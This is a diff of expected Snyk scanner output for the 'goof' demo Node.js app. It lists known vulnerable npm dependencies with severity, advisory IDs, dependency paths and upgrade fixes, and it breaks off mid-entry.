goof@1.0.1 > npmconf@0.0.24 > ini@1.1.0 + + ✗ [HIGH] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-ISMYJSONVALID-597165 + Info: https://snyk.io/vuln/SNYK-JS-ISMYJSONVALID-597165 + Introduced by: is-my-json-valid + Introduced through: goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > har-validator@2.0.6 > is-my-json-valid@2.19.0 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JS-ISMYJSONVALID-597167 + Info: https://snyk.io/vuln/SNYK-JS-ISMYJSONVALID-597167 + Introduced by: is-my-json-valid + Introduced through: goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > har-validator@2.0.6 > is-my-json-valid@2.19.0 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-JSONSCHEMA-1920922 + Info: https://snyk.io/vuln/SNYK-JS-JSONSCHEMA-1920922 + Introduced by: json-schema + Introduced through: goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > http-signature@1.1.1 > jsprim@1.4.1 > json-schema@0.2.3 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JS-JSYAML-174129 + Info: https://snyk.io/vuln/SNYK-JS-JSYAML-174129 + Introduced by: js-yaml + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > js-yaml@3.6.1 + + ✗ [HIGH] DLL Injection + Finding ID: SNYK-JS-KERBEROS-568900 + Info: https://snyk.io/vuln/SNYK-JS-KERBEROS-568900 + Introduced by: kerberos + Introduced through: goof@1.0.1 > mongoose@4.2.4 > mongodb@2.0.46 > mongodb-core@1.2.19 > kerberos@0.0.24 + + ✗ [HIGH] Command Injection + Finding ID: SNYK-JS-LODASH-1040724 + Info: https://snyk.io/vuln/SNYK-JS-LODASH-1040724 + Introduced by: lodash + Introduced through: goof@1.0.1 > snyk@1.290.2 > @snyk/snyk-cocoapods-plugin@2.0.1 > @snyk/cocoapods-lockfile-parser@3.0.0 > @snyk/ruby-semver@2.0.4 > lodash@4.17.15 + + ✗ [HIGH] Denial of Service (DoS) + Finding ID: SNYK-JS-LODASH-12239302 + Info: https://snyk.io/vuln/SNYK-JS-LODASH-12239302 + Introduced by: lodash + Introduced through: goof@1.0.1 > lodash@4.17.4 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-LODASH-450202 + Info: https://snyk.io/vuln/SNYK-JS-LODASH-450202 + Introduced by: lodash + Introduced through: goof@1.0.1 > snyk@1.290.2 > @snyk/dep-graph@1.13.1 > lodash@4.17.4 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-LODASH-567746 + Info: https://snyk.io/vuln/SNYK-JS-LODASH-567746 + Introduced by: lodash + Introduced through: goof@1.0.1 > snyk@1.290.2 > @snyk/snyk-cocoapods-plugin@2.0.1 > @snyk/cocoapods-lockfile-parser@3.0.0 > @snyk/dep-graph@1.13.1 > lodash@4.17.4 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-LODASH-608086 + Info: https://snyk.io/vuln/SNYK-JS-LODASH-608086 + Introduced by: lodash + Introduced through: goof@1.0.1 > snyk@1.290.2 > snyk-nuget-plugin@1.16.0 > lodash@4.17.15 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-LODASH-73638 + Info: https://snyk.io/vuln/SNYK-JS-LODASH-73638 + Introduced by: lodash + Introduced through: goof@1.0.1 > lodash@4.17.4 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-LODASHSET-1320032 + Info: https://snyk.io/vuln/SNYK-JS-LODASHSET-1320032 + Introduced by: lodash.set + Introduced through: goof@1.0.1 > snyk@1.290.2 > snyk-resolve-deps@4.4.0 > lodash.set@4.3.2 + + ✗ [HIGH] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-MINIMATCH-1019388 + Info: https://snyk.io/vuln/SNYK-JS-MINIMATCH-1019388 + Introduced by: minimatch + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > fileset@0.2.1 > glob@5.0.15 > minimatch@2.0.10 + + ✗ [HIGH] Directory Traversal + Finding ID: SNYK-JS-MOMENT-2440688 + Info: https://snyk.io/vuln/SNYK-JS-MOMENT-2440688 + Introduced by: moment + Introduced through: goof@1.0.1 > moment@2.15.1 + + ✗ [HIGH] Denial of Service (DoS) + Finding ID: SNYK-JS-MONGODB-473855 + Info: https://snyk.io/vuln/SNYK-JS-MONGODB-473855 + Introduced by: mongodb + Introduced through: goof@1.0.1 > mongoose@4.2.4 > mongodb@2.0.46 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-MONGOOSE-2961688 + Info: https://snyk.io/vuln/SNYK-JS-MONGOOSE-2961688 + Introduced by: mongoose + Introduced through: goof@1.0.1 > mongoose@4.2.4 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-MQUERY-1050858 + Info: https://snyk.io/vuln/SNYK-JS-MQUERY-1050858 + Introduced by: mquery + Introduced through: goof@1.0.1 > mongoose@4.2.4 > mquery@1.6.3 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-MQUERY-1089718 + Info: https://snyk.io/vuln/SNYK-JS-MQUERY-1089718 + Introduced by: mquery + Introduced through: goof@1.0.1 > mongoose@4.2.4 > mquery@1.6.3 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-NCONF-2395478 + Info: https://snyk.io/vuln/SNYK-JS-NCONF-2395478 + Introduced by: nconf + Introduced through: goof@1.0.1 > snyk@1.290.2 > snyk-config@2.2.3 > nconf@0.10.0 + + ✗ [HIGH] Server-side Request Forgery (SSRF) + Finding ID: SNYK-JS-NETMASK-1089716 + Info: https://snyk.io/vuln/SNYK-JS-NETMASK-1089716 + Introduced by: netmask + Introduced through: goof@1.0.1 > snyk@1.290.2 > proxy-agent@3.1.1 > pac-proxy-agent@3.0.1 > pac-resolver@3.0.0 > netmask@1.0.6 + + ✗ [HIGH] Server-side Request Forgery (SSRF) + Finding ID: SNYK-JS-NETMASK-11879326 + Info: https://snyk.io/vuln/SNYK-JS-NETMASK-11879326 + Introduced by: netmask + Introduced through: goof@1.0.1 > snyk@1.290.2 > proxy-agent@3.1.1 > pac-proxy-agent@3.0.1 > pac-resolver@3.0.0 > netmask@1.0.6 + + ✗ [HIGH] Remote Code Execution (RCE) + Finding ID: SNYK-JS-PACRESOLVER-1564857 + Info: https://snyk.io/vuln/SNYK-JS-PACRESOLVER-1564857 + Introduced by: pac-resolver + Introduced through: goof@1.0.1 > snyk@1.290.2 > proxy-agent@3.1.1 > pac-proxy-agent@3.0.1 > pac-resolver@3.0.0 + + ✗ [HIGH] Authorization Bypass Through User-Controlled Key + Finding ID: SNYK-JS-PARSEPATH-2936439 + Info: https://snyk.io/vuln/SNYK-JS-PARSEPATH-2936439 + Introduced by: parse-path + Introduced through: goof@1.0.1 > snyk@1.290.2 > git-url-parse@11.1.2 > git-up@4.0.1 > parse-url@5.0.1 > parse-path@4.0.1 + + ✗ [HIGH] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-PATHTOREGEXP-13271681 + Info: https://snyk.io/vuln/SNYK-JS-PATHTOREGEXP-13271681 + Introduced by: path-to-regexp + Introduced through: goof@1.0.1 > express@4.12.4 > path-to-regexp@0.1.3 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-Y18N-1021887 + Info: https://snyk.io/vuln/SNYK-JS-Y18N-1021887 + Introduced by: y18n + Introduced through: goof@1.0.1 > snyk@1.290.2 > snyk-config@2.2.3 > nconf@0.10.0 > yargs@3.32.0 > y18n@3.2.1 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: npm:ejs:20161128 + Info: https://snyk.io/vuln/npm:ejs:20161128 + Introduced by: ejs + Introduced through: goof@1.0.1 > ejs-locals@1.0.2 > ejs@0.8.8 ✗ [HIGH] Regular Expression Denial of Service (ReDoS) Finding ID: npm:fresh:20170908 Info: https://snyk.io/vuln/npm:fresh:20170908 Introduced by: fresh - Introduced through: package.json@ > express@4.0.0 > fresh@0.2.2 - Risk Score: 101 + Introduced through: goof@1.0.1 > express@4.12.4 > serve-static@1.9.3 > send@0.12.3 > fresh@0.2.4 + + ✗ [HIGH] Cross-site Scripting (XSS) + Finding ID: npm:marked:20150520 + Info: https://snyk.io/vuln/npm:marked:20150520 + Introduced by: marked + Introduced through: goof@1.0.1 > marked@0.3.5 + + ✗ [HIGH] Cross-site Scripting (XSS) + Finding ID: npm:marked:20170112 + Info: https://snyk.io/vuln/npm:marked:20170112 + Introduced by: marked + Introduced through: goof@1.0.1 > marked@0.3.5 + + ✗ [HIGH] Cross-site Scripting (XSS) + Finding ID: npm:marked:20170815 + Info: https://snyk.io/vuln/npm:marked:20170815 + Introduced by: marked + Introduced through: goof@1.0.1 > marked@0.3.5 + + ✗ [HIGH] Regular Expression Denial of Service (ReDoS) + Finding ID: npm:marked:20170907 + Info: https://snyk.io/vuln/npm:marked:20170907 + Introduced by: marked + Introduced through: goof@1.0.1 > marked@0.3.5 + + ✗ [HIGH] Regular Expression Denial of Service (ReDoS) + Finding ID: npm:marked:20180225 + Info: https://snyk.io/vuln/npm:marked:20180225 + Introduced by: marked + Introduced through: goof@1.0.1 > marked@0.3.5 + + ✗ [HIGH] Regular Expression Denial of Service (ReDoS) + Finding ID: npm:minimatch:20160620 + Info: https://snyk.io/vuln/npm:minimatch:20160620 + Introduced by: minimatch + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > fileset@0.2.1 > glob@5.0.15 > minimatch@2.0.10 ✗ [HIGH] Regular Expression Denial of Service (ReDoS) Finding ID: npm:negotiator:20160616 Info: https://snyk.io/vuln/npm:negotiator:20160616 Introduced by: negotiator - Introduced through: package.json@ > express@4.0.0 > accepts@1.0.0 > negotiator@0.3.0 - Risk Score: 101 + Introduced through: goof@1.0.1 > express@4.12.4 > accepts@1.2.13 > negotiator@0.5.3 - ✗ [HIGH] Denial of Service (DoS) - Finding ID: npm:qs:20140806 - Info: https://snyk.io/vuln/npm:qs:20140806 - Introduced by: qs - Introduced through: package.json@ > express@4.0.0 > qs@0.6.6 - Risk Score: 105 + ✗ [HIGH] Uninitialized Memory Exposure + Finding ID: npm:npmconf:20180512 + Info: https://snyk.io/vuln/npm:npmconf:20180512 + Introduced by: npmconf + Introduced through: goof@1.0.1 > npmconf@0.0.24 ✗ [HIGH] Prototype Override Protection Bypass Finding ID: npm:qs:20170213 Info: https://snyk.io/vuln/npm:qs:20170213 Introduced by: qs - Introduced through: package.json@ > express@4.0.0 > qs@0.6.6 - Risk Score: 101 + Introduced through: goof@1.0.1 > body-parser@1.9.0 > qs@2.2.4 + + ✗ [CRITICAL] Prototype Pollution + Finding ID: SNYK-JS-HANDLEBARS-534988 + Info: https://snyk.io/vuln/SNYK-JS-HANDLEBARS-534988 + Introduced by: handlebars + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + + ✗ [CRITICAL] Prototype Pollution + Finding ID: SNYK-JS-JSONPOINTER-598804 + Info: https://snyk.io/vuln/SNYK-JS-JSONPOINTER-598804 + Introduced by: jsonpointer + Introduced through: goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > har-validator@2.0.6 > is-my-json-valid@2.19.0 > jsonpointer@4.0.1 + + ✗ [CRITICAL] Server-side Request Forgery (SSRF) + Finding ID: SNYK-JS-PARSEURL-2936249 + Info: https://snyk.io/vuln/SNYK-JS-PARSEURL-2936249 + Introduced by: parse-url + Introduced through: goof@1.0.1 > snyk@1.290.2 > git-url-parse@11.1.2 > git-up@4.0.1 > parse-url@5.0.1 Issues to fix by upgrading: - Upgrade express@4.0.0 to express@4.21.2 to fix - ✗ Cross-site Scripting [LOW] [https://security.snyk.io/vuln/SNYK-JS-SEND-7926862] in send@0.2.0 - introduced by package.json@ > express@4.0.0 > send@0.2.0 and 1 other path - ✗ Cross-site Scripting [LOW] [https://security.snyk.io/vuln/SNYK-JS-SERVESTATIC-7926865] in serve-static@1.0.1 - introduced by package.json@ > express@4.0.0 > serve-static@1.0.1 - ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:mime:20170907] in mime@1.2.11 - introduced by package.json@ > express@4.0.0 > accepts@1.0.0 > mime@1.2.11 and 3 other paths - ✗ Open Redirect [LOW] [https://security.snyk.io/vuln/npm:serve-static:20150113] in serve-static@1.0.1 - introduced by package.json@ > express@4.0.0 > serve-static@1.0.1 - ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COOKIE-8163060] in cookie@0.1.0 - introduced by package.json@ > express@4.0.0 > cookie@0.1.0 - ✗ Open Redirect [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-EXPRESS-6474509] in express@4.0.0 - introduced by package.json@ > express@4.0.0 - ✗ Cross-site Scripting [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-EXPRESS-7926867] in express@4.0.0 - introduced by package.json@ > express@4.0.0 - ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-PATHTOREGEXP-7925106] in path-to-regexp@0.1.2 - introduced by package.json@ > express@4.0.0 > path-to-regexp@0.1.2 - ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-PATHTOREGEXP-8482416] in path-to-regexp@0.1.2 - introduced by package.json@ > express@4.0.0 > path-to-regexp@0.1.2 - ✗ Non-Constant Time String Comparison [MEDIUM] [https://security.snyk.io/vuln/npm:cookie-signature:20160804] in cookie-signature@1.0.3 - introduced by package.json@ > express@4.0.0 > cookie-signature@1.0.3 - ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/npm:express:20140912] in express@4.0.0 - introduced by package.json@ > express@4.0.0 - ✗ Denial of Service (DoS) [MEDIUM] [https://security.snyk.io/vuln/npm:qs:20140806-1] in qs@0.6.6 - introduced by package.json@ > express@4.0.0 > qs@0.6.6 - ✗ Directory Traversal [MEDIUM] [https://security.snyk.io/vuln/npm:send:20140912] in send@0.2.0 - introduced by package.json@ > express@4.0.0 > send@0.2.0 and 1 other path - ✗ Root Path Disclosure [MEDIUM] [https://security.snyk.io/vuln/npm:send:20151103] in send@0.2.0 - introduced by package.json@ > express@4.0.0 > send@0.2.0 and 1 other path - ✗ Prototype Poisoning [HIGH] [https://security.snyk.io/vuln/SNYK-JS-QS-3153490] in qs@0.6.6 - introduced by package.json@ > express@4.0.0 > qs@0.6.6 - ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/npm:fresh:20170908] in fresh@0.2.2 - introduced by package.json@ > express@4.0.0 > fresh@0.2.2 and 2 other paths - ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/npm:negotiator:20160616] in negotiator@0.3.0 - introduced by package.json@ > express@4.0.0 > accepts@1.0.0 > negotiator@0.3.0 - ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/npm:qs:20140806] in qs@0.6.6 - introduced by package.json@ > express@4.0.0 > qs@0.6.6 - ✗ Prototype Override Protection Bypass [HIGH] [https://security.snyk.io/vuln/npm:qs:20170213] in qs@0.6.6 - introduced by package.json@ > express@4.0.0 > qs@0.6.6 - -╭───────────────────────────────────────────────────────────╮ -│ Test Summary │ -│ │ -│ Organization: My Org │ -│ Test type: Software Composition Analysis │ -│ Project path: multi-project │ -│ Target file: ghost/package.json │ -│ │ -│ Total security issues: 19 │ -│ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ -│ Open : 19 [ 0 CRITICAL  5 HIGH  10 MEDIUM  4 LOW ] │ -╰───────────────────────────────────────────────────────────╯ + Upgrade @snyk/nodejs-runtime-agent@1.43.0 to @snyk/nodejs-runtime-agent@1.47.3 to fix + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-ACORN-559469] in acorn@5.7.1 + introduced by goof@1.0.1 > @snyk/nodejs-runtime-agent@1.43.0 > acorn@5.7.1 + + Upgrade adm-zip@0.4.11 to adm-zip@0.5.2 to fix + ✗ Directory Traversal [HIGH] [https://security.snyk.io/vuln/SNYK-JS-ADMZIP-1065796] in adm-zip@0.4.11 + introduced by goof@1.0.1 > adm-zip@0.4.11 + + Upgrade body-parser@1.9.0 to body-parser@1.17.1 to fix + ✗ Prototype Override Protection Bypass [HIGH] [https://security.snyk.io/vuln/npm:qs:20170213] in qs@2.2.4 + introduced by goof@1.0.1 > body-parser@1.9.0 > qs@2.2.4 and 2 other paths + + Upgrade cfenv@1.2.2 to cfenv@1.2.4 to fix + ✗ Arbitrary Code Injection [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-UNDERSCORE-1080984] in underscore@1.9.1 + introduced by goof@1.0.1 > cfenv@1.2.2 > underscore@1.9.1 + + Upgrade dustjs-linkedin@2.6.0 to dustjs-linkedin@3.0.0 to fix + ✗ Insecure use of /tmp folder [LOW] [https://security.snyk.io/vuln/npm:cli:20160615] in cli@0.6.6 + introduced by goof@1.0.1 > dustjs-linkedin@2.6.0 > cli@0.6.6 + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-DUSTJSLINKEDIN-1089257] in dustjs-linkedin@2.6.0 + introduced by goof@1.0.1 > dustjs-linkedin@2.6.0 + + Upgrade ejs@1.0.0 to ejs@3.1.7 to fix + ✗ Arbitrary Code Injection [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-EJS-1049328] in ejs@0.8.8 + introduced by goof@1.0.1 > ejs-locals@1.0.2 > ejs@0.8.8 and 1 other path + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/npm:ejs:20161130] in ejs@1.0.0 + introduced by goof@1.0.1 > ejs@1.0.0 and 1 other path + ✗ Denial of Service (DoS) [MEDIUM] [https://security.snyk.io/vuln/npm:ejs:20161130-1] in ejs@0.8.8 + introduced by goof@1.0.1 > ejs-locals@1.0.2 > ejs@0.8.8 and 1 other path + ✗ Remote Code Execution (RCE) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-EJS-2803307] in ejs@0.8.8 + introduced by goof@1.0.1 > ejs-locals@1.0.2 > ejs@0.8.8 and 1 other path + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/npm:ejs:20161128] in ejs@0.8.8 + introduced by goof@1.0.1 > ejs-locals@1.0.2 > ejs@0.8.8 and 1 other path + + Upgrade errorhandler@1.2.0 to errorhandler@1.4.3 to fix + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/npm:negotiator:20160616] in negotiator@0.5.3 + introduced by goof@1.0.1 > express@4.12.4 > accepts@1.2.13 > negotiator@0.5.3 and 2 other paths + + Upgrade express@4.12.4 to express@5.0.0 to fix + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:debug:20170905] in debug@2.2.0 + introduced by goof@1.0.1 > express@4.12.4 > finalhandler@0.3.6 > debug@2.2.0 and 4 other paths + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:mime:20170907] in mime@1.3.4 + introduced by goof@1.0.1 > express@4.12.4 > serve-static@1.9.3 > send@0.12.3 > mime@1.3.4 and 3 other paths + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:ms:20170412] in ms@0.6.2 + introduced by goof@1.0.1 > humanize-ms@1.0.1 > ms@0.6.2 and 9 other paths + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-PATHTOREGEXP-13271681] in path-to-regexp@0.1.3 + introduced by goof@1.0.1 > express@4.12.4 > path-to-regexp@0.1.3 + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/npm:fresh:20170908] in fresh@0.2.4 + introduced by goof@1.0.1 > express@4.12.4 > serve-static@1.9.3 > send@0.12.3 > fresh@0.2.4 and 2 other paths + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/npm:negotiator:20160616] in negotiator@0.5.3 + introduced by goof@1.0.1 > express@4.12.4 > accepts@1.2.13 > negotiator@0.5.3 and 2 other paths + ✗ Prototype Override Protection Bypass [HIGH] [https://security.snyk.io/vuln/npm:qs:20170213] in qs@2.2.4 + introduced by goof@1.0.1 > body-parser@1.9.0 > qs@2.2.4 and 2 other paths + + Upgrade express-fileupload@0.0.5 to express-fileupload@1.1.10 to fix + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-9789073] in brace-expansion@1.1.11 + introduced by goof@1.0.1 > express-fileupload@0.0.5 > fs-extra@0.22.1 > rimraf@2.6.3 > glob@7.1.3 > minimatch@3.0.4 > brace-expansion@1.1.11 and 10 other paths + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MINIMATCH-3050818] in minimatch@3.0.4 + introduced by goof@1.0.1 > tap@5.8.0 > glob@7.1.3 > minimatch@3.0.4 and 11 other paths + ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-DICER-2311764] in dicer@0.3.0 + introduced by goof@1.0.1 > express-fileupload@0.0.5 > connect-busboy@0.0.2 > busboy@0.3.1 > dicer@0.3.0 + ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-EXPRESSFILEUPLOAD-473997] in express-fileupload@0.0.5 + introduced by goof@1.0.1 > express-fileupload@0.0.5 + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-EXPRESSFILEUPLOAD-595969] in express-fileupload@0.0.5 + introduced by goof@1.0.1 > express-fileupload@0.0.5 + + Upgrade file-type@8.1.0 to file-type@16.5.4 to fix + ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-FILETYPE-2958042] in file-type@8.1.0 + introduced by goof@1.0.1 > file-type@8.1.0 + + Upgrade humanize-ms@1.0.1 to humanize-ms@1.2.1 to fix + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:ms:20170412] in ms@0.6.2 + introduced by goof@1.0.1 > humanize-ms@1.0.1 > ms@0.6.2 and 9 other paths + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/npm:ms:20151024] in ms@0.6.2 + introduced by goof@1.0.1 > humanize-ms@1.0.1 > ms@0.6.2 + + Upgrade jquery@2.2.4 to jquery@3.5.0 to fix + ✗ Prototype Pollution [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-JQUERY-174006] in jquery@2.2.4 + introduced by goof@1.0.1 > jquery@2.2.4 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-JQUERY-565129] in jquery@2.2.4 + introduced by goof@1.0.1 > jquery@2.2.4 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-JQUERY-567880] in jquery@2.2.4 + introduced by goof@1.0.1 > jquery@2.2.4 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/npm:jquery:20150627] in jquery@2.2.4 + introduced by goof@1.0.1 > jquery@2.2.4 + + Upgrade lodash@4.17.4 to lodash@4.17.21 to fix + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-LODASH-1018905] in lodash@4.17.15 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-nuget-plugin@1.16.0 > lodash@4.17.15 and 17 other paths + ✗ Allocation of Resources Without Limits or Throttling [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-LODASH-18314748] in lodash@4.17.15 + introduced by goof@1.0.1 > snyk@1.290.2 > @snyk/snyk-cocoapods-plugin@2.0.1 > @snyk/cocoapods-lockfile-parser@3.0.0 > @snyk/ruby-semver@2.0.4 > lodash@4.17.15 and 17 other paths + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-LODASH-73639] in lodash@4.17.4 + introduced by goof@1.0.1 > lodash@4.17.4 and 3 other paths + ✗ Prototype Pollution [MEDIUM] [https://security.snyk.io/vuln/npm:lodash:20180130] in lodash@4.17.4 + introduced by goof@1.0.1 > lodash@4.17.4 and 3 other paths + ✗ Command Injection [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724] in lodash@4.17.15 + introduced by goof@1.0.1 > snyk@1.290.2 > @snyk/snyk-cocoapods-plugin@2.0.1 > @snyk/cocoapods-lockfile-parser@3.0.0 > @snyk/ruby-semver@2.0.4 > lodash@4.17.15 and 17 other paths + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-450202] in lodash@4.17.4 + introduced by goof@1.0.1 > snyk@1.290.2 > @snyk/dep-graph@1.13.1 > lodash@4.17.4 and 3 other paths + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-567746] in lodash@4.17.4 + introduced by goof@1.0.1 > snyk@1.290.2 > @snyk/snyk-cocoapods-plugin@2.0.1 > @snyk/cocoapods-lockfile-parser@3.0.0 > @snyk/dep-graph@1.13.1 > lodash@4.17.4 and 17 other paths + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-608086] in lodash@4.17.15 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-nuget-plugin@1.16.0 > lodash@4.17.15 and 17 other paths + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-73638] in lodash@4.17.4 + introduced by goof@1.0.1 > lodash@4.17.4 and 3 other paths + + Upgrade marked@0.3.5 to marked@4.0.10 to fix + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MARKED-174116] in marked@0.3.5 + introduced by goof@1.0.1 > marked@0.3.5 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342073] in marked@0.3.5 + introduced by goof@1.0.1 > marked@0.3.5 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342082] in marked@0.3.5 + introduced by goof@1.0.1 > marked@0.3.5 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MARKED-451540] in marked@0.3.5 + introduced by goof@1.0.1 > marked@0.3.5 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MARKED-584281] in marked@0.3.5 + introduced by goof@1.0.1 > marked@0.3.5 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/npm:marked:20170815-1] in marked@0.3.5 + introduced by goof@1.0.1 > marked@0.3.5 + ✗ Cross-site Scripting (XSS) [HIGH] [https://security.snyk.io/vuln/npm:marked:20150520] in marked@0.3.5 + introduced by goof@1.0.1 > marked@0.3.5 + ✗ Cross-site Scripting (XSS) [HIGH] [https://security.snyk.io/vuln/npm:marked:20170112] in marked@0.3.5 + introduced by goof@1.0.1 > marked@0.3.5 + ✗ Cross-site Scripting (XSS) [HIGH] [https://security.snyk.io/vuln/npm:marked:20170815] in marked@0.3.5 + introduced by goof@1.0.1 > marked@0.3.5 + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/npm:marked:20170907] in marked@0.3.5 + introduced by goof@1.0.1 > marked@0.3.5 + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/npm:marked:20180225] in marked@0.3.5 + introduced by goof@1.0.1 > marked@0.3.5 + + Upgrade moment@2.15.1 to moment@2.29.2 to fix + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:moment:20170905] in moment@2.15.1 + introduced by goof@1.0.1 > moment@2.15.1 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/npm:moment:20161019] in moment@2.15.1 + introduced by goof@1.0.1 > moment@2.15.1 + ✗ Directory Traversal [HIGH] [https://security.snyk.io/vuln/SNYK-JS-MOMENT-2440688] in moment@2.15.1 + introduced by goof@1.0.1 > moment@2.15.1 + + Upgrade mongoose@4.2.4 to mongoose@9.0.0 to fix + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:debug:20170905] in debug@2.2.0 + introduced by goof@1.0.1 > express@4.12.4 > finalhandler@0.3.6 > debug@2.2.0 and 4 other paths + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:ms:20170412] in ms@0.6.2 + introduced by goof@1.0.1 > humanize-ms@1.0.1 > ms@0.6.2 and 9 other paths + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-13283909] in debug@3.1.0 + introduced by goof@1.0.1 > method-override@3.0.0 > debug@3.1.0 and 37 other paths + ✗ Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-14214893] in debug@4.1.1 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-gradle-plugin@3.2.4 > 